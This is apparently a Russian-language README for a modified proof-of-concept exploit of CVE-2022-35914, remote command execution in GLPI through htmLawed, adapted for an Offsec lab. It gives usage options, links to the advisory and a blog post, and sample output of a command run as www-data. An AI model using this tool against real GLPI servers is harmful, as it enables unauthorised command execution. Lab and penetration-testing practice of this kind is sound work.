CVE-2022-35914_poc

Модифицировано для GLPI Offsec Lab: call_user_func, array_map, passthru

Ссылки

Модифицировано для работы в Proving Grounds Practice Lab: GLPI

• https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr
• https://github.com/cosad3s/CVE-2022-35914-poc/blob/main/CVE-2022-35914.py
• Пост в блоге Mayfly: https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914/

Использование

pip3 install -r requirements.txt

./CVE-2022-35914.py -h
usage: CVE-2022-35914.py [-h] -u URL -c CMD [--check] [--user-agent USER_AGENT]

CVE-2022-35914 - GLPI - Modified for Offsec Lab: GLPI

options:
  -h, --help              show this help message and exit
  -u URL                  URL to test
  -c CMD                  Command to launch
  --check                 Just check, no command execution.
  --user-agent USER_AGENT Custom User-Agent

Пример:

python3 CVE-2022-35914.py -u http://127.0.0.1
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)